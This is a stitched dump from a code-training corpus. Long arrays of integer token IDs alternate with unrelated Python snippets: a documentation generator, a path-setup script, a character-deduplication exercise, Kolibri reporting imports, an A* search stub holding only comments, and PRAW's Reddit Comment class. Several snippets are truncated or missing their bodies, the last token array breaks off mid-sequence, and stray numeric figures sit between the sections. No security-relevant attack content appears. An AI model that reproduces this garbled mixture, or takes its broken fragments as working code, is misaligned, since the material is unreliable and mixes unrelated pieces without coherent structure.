25552, 6375, 25401, 43031, 25382, 11, 7655, 2767, 16879, 3268, 3537, 40282, 3963, 198, 10943, 5446, 10659, 11, 309, 9863, 6375, 25401, 54, 24352, 11, 5923, 1797, 2751, 16034, 11, 16289, 3963, 6375, 3268, 7102, 45, 24565, 13315, 3336, 47466, 6375, 3336, 23210, 6375, 198, 31858, 5550, 1847, 20754, 3268, 3336, 47466, 13, 198, 198, 37811, 198, 6738, 17268, 1330, 14230, 1068, 35, 713, 198, 198, 11748, 16225, 13, 19199, 628, 198, 4299, 7716, 7, 21412, 11, 2779, 62, 6371, 2625, 1600, 40391, 62, 9641, 28, 14202, 2599, 198, 220, 220, 220, 705, 7061, 8645, 689, 10314, 1912, 319, 257, 12905, 7824, 8265, 11, 2779, 62, 6371, 11, 290, 40391, 62, 9641, 357, 361, 9723, 8, 7061, 6, 198, 220, 220, 220, 10314, 796, 14230, 1068, 35, 713, 3419, 198, 220, 220, 220, 16700, 796, 8265, 13, 834, 15390, 834, 198, 220, 220, 220, 611, 16700, 25, 198, 220, 220, 220, 220, 220, 220, 220, 10314, 17816, 2502, 1177, 20520, 796, 16700, 628, 220, 220, 220, 10314, 17816, 47178, 20520, 796, 14230, 1068, 35, 713, 3419, 198, 220, 220, 220, 6300, 796, 8265, 13, 834, 71, 1018, 834, 13, 47178, 198, 220, 220, 220, 329, 2196, 287, 357, 15042, 62, 9641, 11, 1267, 611, 40391, 62, 9641, 2073, 6300, 25, 198, 220, 220, 220, 220, 220, 220, 220, 10314, 17816, 47178, 6, 7131, 9641, 60, 796, 14230, 1068, 35, 713, 3419, 628, 220, 220, 220, 329, 19016, 11, 5050, 287, 8265, 13, 834, 71, 1018, 834, 13, 81, 448, 274, 13, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 329, 2446, 11, 6300, 287, 5050, 13, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 2196, 11, 21360, 287, 6300, 13, 23814, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 2196, 6624, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8991, 62, 1462, 796, 6300, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8991, 62, 1462, 796, 357, 9641, 11, 1267, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 2196, 287, 8991, 62, 1462, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 40391, 62, 9641, 290, 2196, 14512, 40391, 62, 9641, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2555, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2205, 796, 10314, 17816, 47178, 6, 7131, 9641, 4083, 2617, 12286, 7, 6371, 11, 14230, 1068, 35, 713, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2205, 796, 2205, 13, 2617, 12286, 7, 24396, 11, 14230, 1068, 35, 713, 28955, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8748, 796, 21360, 13, 15042, 62, 8818, 13, 834, 15390, 834, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 8748, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2205, 17816, 26060, 20520, 796, 8748, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 1672, 287, 21360, 13, 1069, 12629, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1672, 62, 5239, 796, 220, 45144, 15, 18477, 16, 18477, 17, 92, 1911, 18982, 7, 8692, 62, 6371, 11, 31051, 85, 90, 15, 92, 4458, 18982, 7, 9641, 8, 611, 2196, 2073, 705, 3256, 19016, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 318, 39098, 7, 20688, 11, 965, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1672, 62, 5239, 15853, 366, 30, 90, 15, 92, 1911, 18982, 7, 20688, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2205, 62, 1069, 12629, 796, 2205, 13, 2617, 12286, 10786, 1069, 12629, 3256, 685, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 407, 1672, 62, 5239, 287, 2205, 62, 1069, 12629, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2205, 62, 1069, 12629, 13, 33295, 7, 20688, 62, 5239, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2205, 17816, 22915, 82, 20520, 796, 14230, 1068, 35, 713, 7, 18982, 28, 30281, 13, 22915, 62, 18982, 13, 834, 15390, 834, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2695, 62, 4906, 28, 30281, 13, 11299, 62, 4906, 8, 628, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10007, 796, 685, 17143, 329, 5772, 287, 21360, 13, 13635, 276, 62, 17143, 7307, 611, 407, 5772, 287, 19203, 25927, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 26209, 11537, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 290, 407, 5772, 13, 9688, 2032, 342, 10786, 71, 1018, 62, 11537, 60, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 10007, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 17311, 796, 2205, 13, 2617, 12286, 10786, 15414, 82, 3256, 14230, 1068, 35, 713, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3858, 796, 21360, 13, 15042, 62, 8818, 13, 834, 34574, 602, 834, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 329, 4578, 287, 10007, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5128, 62, 46758, 796, 17311, 13, 2617, 12286, 7, 49140, 11, 14230, 1068, 35, 713, 28955, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5128, 62, 46758, 17816, 4906, 20520, 796, 3858, 13, 1136, 7, 49140, 11, 16225, 13, 19199, 13, 5239, 737, 834, 15390, 834, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4277, 796, 21360, 13, 12286, 82, 13, 1136, 7, 49140, 11, 6045, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 4277, 318, 407, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5128, 62, 46758, 17816, 12286, 20520, 796, 4277, 628, 220, 220, 220, 611, 18896, 7, 22897, 341, 17816, 47178, 6, 12962, 6624, 352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 10314, 13, 19119, 7, 83, 29291, 7, 22897, 341, 17816, 47178, 6, 4083, 27160, 28955, 58, 15, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 10314, 13, 12924, 10786, 47178, 11537, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 10314, 17816, 47178, 6, 4083, 12924, 7, 14202, 11, 10148, 8, 628, 220, 220, 220, 1441, 10314, 198 ]
2.280295
1,898
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys, os.path testmodules_path = os.path.dirname(os.path.abspath(__file__)) rootpath = os.path.split(testmodules_path)[0] sys.path.append(rootpath)
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 11748, 25064, 11, 28686, 13, 6978, 198, 9288, 18170, 62, 6978, 796, 28686, 13, 6978, 13, 15908, 3672, 7, 418, 13, 6978, 13, 397, 2777, 776, 7, 834, 7753, 834, 4008, 198, 15763, 6978, 796, 28686, 13, 6978, 13, 35312, 7, 9288, 18170, 62, 6978, 38381, 15, 60, 198, 17597, 13, 6978, 13, 33295, 7, 15763, 6978, 8, 198 ]
2.421687
83
''' No problem, just process Status: Accepted ''' ############################################################################### def main(): """Read input and print output""" result = '' for i in input(): if result: if i != result[-1]: result += i else: result = i print(result) ############################################################################### if __name__ == '__main__': main()
[ 7061, 6, 198, 2949, 1917, 11, 655, 1429, 198, 198, 19580, 25, 21699, 276, 198, 7061, 6, 198, 198, 29113, 29113, 7804, 4242, 21017, 198, 198, 4299, 1388, 33529, 198, 220, 220, 220, 37227, 5569, 5128, 290, 3601, 5072, 37811, 628, 220, 220, 220, 1255, 796, 10148, 198, 220, 220, 220, 329, 1312, 287, 5128, 33529, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1255, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1312, 14512, 1255, 58, 12, 16, 5974, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 15853, 1312, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1255, 796, 1312, 198, 220, 220, 220, 3601, 7, 20274, 8, 198, 198, 29113, 29113, 7804, 4242, 21017, 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1388, 3419, 198 ]
2.884848
165
from enum import Enum
[ 6738, 33829, 1330, 2039, 388, 628, 198 ]
3.428571
7
import datetime from dateutil.parser import parse from django.db import connection from django.db.models import Min from django.db.models import Q from django.utils import timezone from rest_framework import mixins from rest_framework import pagination from rest_framework import permissions from rest_framework import viewsets from .serializers import ContentReportSerializer from .serializers import ContentSummarySerializer from .serializers import LessonReportSerializer from .serializers import UserReportSerializer from .utils.return_users import get_members_or_user from kolibri.core.auth.constants import collection_kinds from kolibri.core.auth.constants import role_kinds from kolibri.core.auth.models import Collection from kolibri.core.auth.models import FacilityUser from kolibri.core.content.models import ContentNode from kolibri.core.decorators import query_params_required from kolibri.core.lessons.models import Lesson from kolibri.core.logger.models import ContentSummaryLog from kolibri.core.logger.models import MasteryLog collection_kind_choices = tuple([choice[0] for choice in collection_kinds.choices] + ['user']) class OptionalPageNumberPagination(pagination.PageNumberPagination): """ Pagination class that allows for page number-style pagination, when requested. To activate, the `page_size` argument must be set. For example, to request the first 20 records: `?page_size=20&page=1` """ page_size = None page_size_query_param = "page_size" # check if requesting user has permission for collection or user @query_params_required(channel_id=str, content_node_id=str, collection_kind=collection_kind_choices, collection_id=str) @query_params_required(channel_id=str, collection_kind=collection_kind_choices, collection_id=str)
[ 11748, 4818, 8079, 198, 198, 6738, 3128, 22602, 13, 48610, 1330, 21136, 198, 6738, 42625, 14208, 13, 9945, 1330, 4637, 198, 6738, 42625, 14208, 13, 9945, 13, 27530, 1330, 1855, 198, 6738, 42625, 14208, 13, 9945, 13, 27530, 1330, 1195, 198, 6738, 42625, 14208, 13, 26791, 1330, 640, 11340, 198, 6738, 1334, 62, 30604, 1330, 5022, 1040, 198, 6738, 1334, 62, 30604, 1330, 42208, 1883, 198, 6738, 1334, 62, 30604, 1330, 21627, 198, 6738, 1334, 62, 30604, 1330, 5009, 1039, 198, 198, 6738, 764, 46911, 11341, 1330, 14041, 19100, 32634, 7509, 198, 6738, 764, 46911, 11341, 1330, 14041, 22093, 32634, 7509, 198, 6738, 764, 46911, 11341, 1330, 12892, 261, 19100, 32634, 7509, 198, 6738, 764, 46911, 11341, 1330, 11787, 19100, 32634, 7509, 198, 6738, 764, 26791, 13, 7783, 62, 18417, 1330, 651, 62, 30814, 62, 273, 62, 7220, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 18439, 13, 9979, 1187, 1330, 4947, 62, 11031, 82, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 18439, 13, 9979, 1187, 1330, 2597, 62, 11031, 82, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 18439, 13, 27530, 1330, 12251, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 18439, 13, 27530, 1330, 29118, 12982, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 11299, 13, 27530, 1330, 14041, 19667, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 12501, 273, 2024, 1330, 12405, 62, 37266, 62, 35827, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 1203, 684, 13, 27530, 1330, 12892, 261, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 6404, 1362, 13, 27530, 1330, 14041, 22093, 11187, 198, 6738, 479, 349, 571, 380, 13, 7295, 13, 6404, 1362, 13, 27530, 1330, 37799, 11187, 628, 198, 43681, 62, 11031, 62, 6679, 1063, 796, 46545, 26933, 25541, 58, 15, 60, 329, 3572, 287, 4947, 62, 11031, 82, 13, 6679, 1063, 60, 1343, 37250, 7220, 6, 12962, 628, 198, 4871, 32233, 9876, 15057, 47, 363, 1883, 7, 79, 363, 1883, 13, 9876, 15057, 47, 363, 1883, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 31525, 1883, 1398, 326, 3578, 329, 2443, 1271, 12, 7635, 42208, 1883, 11, 618, 9167, 13, 198, 220, 220, 220, 1675, 15155, 11, 262, 4600, 7700, 62, 7857, 63, 4578, 1276, 307, 900, 13, 1114, 1672, 11, 284, 2581, 262, 717, 1160, 4406, 25, 198, 220, 220, 220, 4600, 30, 7700, 62, 7857, 28, 1238, 5, 7700, 28, 16, 63, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2443, 62, 7857, 796, 6045, 198, 220, 220, 220, 2443, 62, 7857, 62, 22766, 62, 17143, 796, 366, 7700, 62, 7857, 1, 628, 198, 220, 220, 220, 1303, 2198, 611, 20623, 2836, 468, 7170, 329, 4947, 393, 2836, 628, 198, 31, 22766, 62, 37266, 62, 35827, 7, 17620, 62, 312, 28, 2536, 11, 2695, 62, 17440, 62, 312, 28, 2536, 11, 4947, 62, 11031, 28, 43681, 62, 11031, 62, 6679, 1063, 11, 4947, 62, 312, 28, 2536, 8, 628, 628, 198, 31, 22766, 62, 37266, 62, 35827, 7, 17620, 62, 312, 28, 2536, 11, 4947, 62, 11031, 28, 43681, 62, 11031, 62, 6679, 1063, 11, 4947, 62, 312, 28, 2536, 8, 628, 198 ]
3.413662
527
from math import sqrt from collections import deque # sort using g + h costs # implement A* seaarch algorithm # use euclidean distance to the goal node to determine the h value # use stack to retrieve elements in reverse order
[ 6738, 10688, 1330, 19862, 17034, 198, 6738, 17268, 1330, 390, 4188, 628, 220, 220, 220, 1303, 3297, 1262, 308, 1343, 289, 3484, 198, 198, 2, 3494, 317, 9, 5417, 998, 11862, 198, 198, 2, 779, 304, 36616, 485, 272, 5253, 284, 262, 3061, 10139, 284, 5004, 262, 289, 1988, 198, 198, 2, 779, 8931, 284, 19818, 4847, 287, 9575, 1502 ]
3.9
60
"""Provide the Comment class.""" from ...const import urljoin from ...exceptions import ClientException from ..comment_forest import CommentForest from .base import RedditBase from .mixins import InboxableMixin, ThingModerationMixin, UserContentMixin from .redditor import Redditor class Comment(RedditBase, InboxableMixin, UserContentMixin): """A class that represents a reddit comments.""" STR_FIELD = 'id' @property def is_root(self): """Return True when the comment is a top level comment.""" parent_type = self.parent_id.split('_', 1)[0] return parent_type == self._reddit.config.kinds['submission'] @property def mod(self): """An instance of :class:`.CommentModeration`.""" if self._mod is None: self._mod = CommentModeration(self) return self._mod @property def replies(self): """An instance of :class:`.CommentForest`.""" if isinstance(self._replies, list): self._replies = CommentForest(self.submission, self._replies) return self._replies @property def submission(self): """Return the Submission object this comment belongs to.""" if not self._submission: # Comment not from submission self._submission = self._reddit.submission( self.link_id.split('_', 1)[1]) return self._submission @submission.setter def submission(self, submission): """Update the Submission associated with the Comment.""" assert self.name not in submission._comments_by_id submission._comments_by_id[self.name] = self self._submission = submission for reply in getattr(self, 'replies', []): reply.submission = submission def __init__(self, reddit, id=None, # pylint: disable=redefined-builtin _data=None): """Construct an instance of the Comment object.""" if bool(id) == bool(_data): raise TypeError('Either `id` or `_data` must be provided.') self._mod = self._replies = self._submission = None super(Comment, self).__init__(reddit, _data) if id: self.id = id # pylint: disable=invalid-name else: self._fetched = True def __setattr__(self, attribute, value): """Objectify author, replies, and subreddit.""" # pylint: disable=redefined-variable-type if attribute == 'author': value = Redditor.from_data(self._reddit, value) elif attribute == 'replies': if value == '': value = [] else: value = self._reddit._objector.objectify(value).children attribute = '_replies' elif attribute == 'subreddit': value = self._reddit.subreddit(value) super(Comment, self).__setattr__(attribute, value) def parent(self): """Return the parent of the comment. The returned parent will be an instance of either :class:`.Comment`, or :class:`.Submission`. If this comment was obtained through a :class:`.Submission`, then its entire ancestry should be immediately available, requiring no extra network requests. However, if this comment was obtained through other means, e.g., ``reddit.comment('COMMENT_ID')``, or ``reddit.inbox.comment_replies``, then the returned parent may be a lazy instance of either :class:`.Comment`, or :class:`.Submission`. Lazy Comment Example: .. code:: python comment = reddit.comment('cklhv0f') parent = comment.parent() # `replies` is empty until the comment is refreshed print(parent.replies) # Output: [] parent.refresh() print(parent.replies) # Output is at least: [Comment(id='cklhv0f')] """ # pylint: disable=no-member if self.parent_id == self.submission.fullname: return self.submission if '_comments' in self.submission.__dict__ \ and self.parent_id in self.submission._comments_by_id: # The Comment already exists, so simply return it return self.submission._comments_by_id[self.parent_id] # pylint: enable=no-member parent = Comment(self._reddit, self.parent_id.split('_', 1)[1]) parent._submission = self.submission return parent def permalink(self, fast=False): """Return a permalink to the comment. :param fast: Return the result as quickly as possible (default: False). In order to determine the full permalink for a comment, the Submission may need to be fetched if it hasn't been already. Set ``fast=True`` if you want to bypass that possible load. A full permalink looks like: /r/redditdev/comments/2gmzqe/praw_https_enabled/cklhv0f A fast-loaded permalink for the same comment will look like: /comments/2gmzqe//cklhv0f """ # pylint: disable=no-member if not fast or 'permalink' in self.submission.__dict__: return urljoin(self.submission.permalink, self.id) return '/comments/{}//{}'.format(self.submission.id, self.id) def refresh(self): """Refresh the comment's attributes. If using :meth:`.Reddit.comment` this method must be called in order to obtain the comment's replies. """ if 'context' in self.__dict__: # Using hasattr triggers a fetch comment_path = self.context.split('?', 1)[0] else: comment_path = '{}_/{}'.format( self.submission._info_path(), # pylint: disable=no-member self.id) comment_list = self._reddit.get(comment_path)[1].children if not comment_list: raise ClientException('Comment has been deleted') comment = comment_list[0] for reply in comment._replies: reply.submission = self.submission del comment.__dict__['_submission'] # Don't replace self.__dict__.update(comment.__dict__) return self class CommentModeration(ThingModerationMixin): """Provide a set of functions pertaining to Comment moderation.""" def __init__(self, comment): """Create a CommentModeration instance. :param comment: The comment to moderate. """ self.thing = comment
[ 37811, 15946, 485, 262, 18957, 1398, 526, 15931, 198, 6738, 2644, 9979, 1330, 19016, 22179, 198, 6738, 2644, 1069, 11755, 1330, 20985, 16922, 198, 6738, 11485, 23893, 62, 29623, 1330, 18957, 34605, 198, 6738, 764, 8692, 1330, 10750, 14881, 198, 6738, 764, 19816, 1040, 1330, 554, 3524, 540, 35608, 259, 11, 21561, 5841, 263, 341, 35608, 259, 11, 11787, 19746, 35608, 259, 198, 6738, 764, 26504, 2072, 1330, 42734, 2072, 628, 198, 4871, 18957, 7, 22367, 14881, 11, 554, 3524, 540, 35608, 259, 11, 11787, 19746, 35608, 259, 2599, 198, 220, 220, 220, 37227, 32, 1398, 326, 6870, 257, 18374, 3651, 526, 15931, 628, 220, 220, 220, 19269, 62, 44603, 796, 705, 312, 6, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 318, 62, 15763, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 6407, 618, 262, 2912, 318, 257, 1353, 1241, 2912, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 2560, 62, 4906, 796, 2116, 13, 8000, 62, 312, 13, 35312, 10786, 62, 3256, 352, 38381, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2560, 62, 4906, 6624, 2116, 13557, 10748, 13, 11250, 13, 11031, 82, 17816, 7266, 3411, 20520, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 953, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 2025, 4554, 286, 1058, 4871, 25, 44646, 21357, 5841, 263, 341, 63, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 611, 2116, 13557, 4666, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 4666, 796, 18957, 5841, 263, 341, 7, 944, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 4666, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 20616, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 2025, 4554, 286, 1058, 4871, 25, 44646, 21357, 34605, 63, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 611, 318, 39098, 7, 944, 13557, 35666, 444, 11, 1351, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 35666, 444, 796, 18957, 34605, 7, 944, 13, 7266, 3411, 11, 2116, 13557, 35666, 444, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 35666, 444, 628, 220, 220, 220, 2488, 26745, 198, 220, 220, 220, 825, 14498, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 262, 42641, 2134, 428, 2912, 14448, 284, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 611, 407, 2116, 13557, 7266, 3411, 25, 220, 1303, 18957, 407, 422, 14498, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 7266, 3411, 796, 2116, 13557, 10748, 13, 7266, 3411, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 8726, 62, 312, 13, 35312, 10786, 62, 3256, 352, 38381, 16, 12962, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 2116, 13557, 7266, 3411, 628, 220, 220, 220, 2488, 7266, 3411, 13, 2617, 353, 198, 220, 220, 220, 825, 14498, 7, 944, 11, 14498, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 10260, 262, 42641, 3917, 351, 262, 18957, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 6818, 2116, 13, 3672, 407, 287, 14498, 13557, 15944, 62, 1525, 62, 312, 198, 220, 220, 220, 220, 220, 220, 220, 14498, 13557, 15944, 62, 1525, 62, 312, 58, 944, 13, 3672, 60, 796, 2116, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 7266, 3411, 796, 14498, 198, 220, 220, 220, 220, 220, 220, 220, 329, 10971, 287, 651, 35226, 7, 944, 11, 705, 35666, 444, 3256, 17635, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 10971, 13, 7266, 3411, 796, 14498, 628, 220, 220, 220, 825, 11593, 15003, 834, 7, 944, 11, 18374, 11, 4686, 28, 14202, 11, 220, 1303, 279, 2645, 600, 25, 15560, 28, 445, 18156, 12, 18780, 259, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 7890, 28, 14202, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 42316, 281, 4554, 286, 262, 18957, 2134, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 611, 20512, 7, 312, 8, 6624, 20512, 28264, 7890, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 5298, 5994, 12331, 10786, 32478, 4600, 312, 63, 393, 4600, 62, 7890, 63, 1276, 307, 2810, 2637, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 4666, 796, 2116, 13557, 35666, 444, 796, 2116, 13557, 7266, 3411, 796, 6045, 198, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 21357, 11, 2116, 737, 834, 15003, 834, 7, 10748, 11, 4808, 7890, 8, 198, 220, 220, 220, 220, 220, 220, 220, 611, 4686, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13, 312, 796, 4686, 220, 1303, 279, 2645, 600, 25, 15560, 28, 259, 12102, 12, 3672, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2116, 13557, 50012, 796, 6407, 628, 220, 220, 220, 825, 11593, 2617, 35226, 834, 7, 944, 11, 11688, 11, 1988, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 10267, 1958, 1772, 11, 20616, 11, 290, 25163, 526, 15931, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 279, 2645, 600, 25, 15560, 28, 445, 18156, 12, 45286, 12, 4906, 198, 220, 220, 220, 220, 220, 220, 220, 611, 11688, 6624, 705, 9800, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1988, 796, 42734, 2072, 13, 6738, 62, 7890, 7, 944, 13557, 10748, 11, 1988, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 11688, 6624, 705, 35666, 444, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 1988, 6624, 10148, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1988, 796, 17635, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1988, 796, 2116, 13557, 10748, 13557, 15252, 273, 13, 15252, 1958, 7, 8367, 737, 17197, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 11688, 796, 705, 62, 35666, 444, 6, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 11688, 6624, 705, 7266, 10748, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1988, 796, 2116, 13557, 10748, 13, 7266, 10748, 7, 8367, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2208, 7, 21357, 11, 2116, 737, 834, 2617, 35226, 834, 7, 42348, 11, 1988, 8, 628, 220, 220, 220, 825, 2560, 7, 944, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 13615, 262, 2560, 286, 262, 2912, 13, 628, 220, 220, 220, 